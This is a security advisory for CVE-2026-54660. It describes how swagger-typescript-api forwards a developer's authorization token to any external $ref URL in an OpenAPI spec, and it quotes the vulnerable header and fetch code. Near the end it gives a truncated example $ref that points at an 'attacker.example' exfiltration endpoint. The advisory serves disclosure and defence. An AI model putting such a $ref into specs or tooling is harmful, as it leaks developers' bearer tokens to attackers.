CVE-2026-54660
Summary
When the developer supplies an --authorizationToken (commonly required to fetch a private spec behind authentication), swagger-typescript-api attaches that token to the Authorization header of every subsequent HTTP request it makes while resolving external $ref URLs in the spec — with no same-origin check, no host allowlist, and no scope-down for cross-origin requests. A malicious OpenAPI spec containing a $ref to an attacker-controlled URL therefore causes the developer's bearer token to be sent verbatim to that URL during code generation.
The threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.
Details
The header-builder lives in src/resolved-swagger-schema.ts:81-92:
private getRemoteRequestHeaders(): Record<string, string> {
return Object.assign(
{},
this.config.authorizationToken
? {
Authorization: this.config.authorizationToken,
}
: {},
(this.config.requestOptions?.headers as
| Record<string, string>
| undefined) || {},
);
}
There is no check that the request's destination URL shares an origin (or scheme, or host, or even top-level domain) with this.config.url — the URL the user originally specified. The headers object is unconditional.
getRemoteRequestHeaders is called by fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374):
const response = await fetch(url, {
headers: this.getRemoteRequestHeaders(),
});
…which is in turn called by warmUpRemoteSchemasCache (src/resolved-swagger-schema.ts:399-445) for every external $ref URL discovered while walking the spec.
Net effect: a spec whose response schema is
{ "$ref": "http://attacker.example/exfil-endpoint/data.
⚡ Watch CVE-2026-54660
Get an email if CVE-2026-54660 is added to CISA KEV, gains public exploit code, or a new advisory cites it — max one per day, one-click unsubscribe.
Advisory coverage (2)
External references
Embed the live status
— this badge updates automatically when the KEV or exploit status changes. How to embed it →
[](https://www.csirts.com/cve/CVE-2026-54660)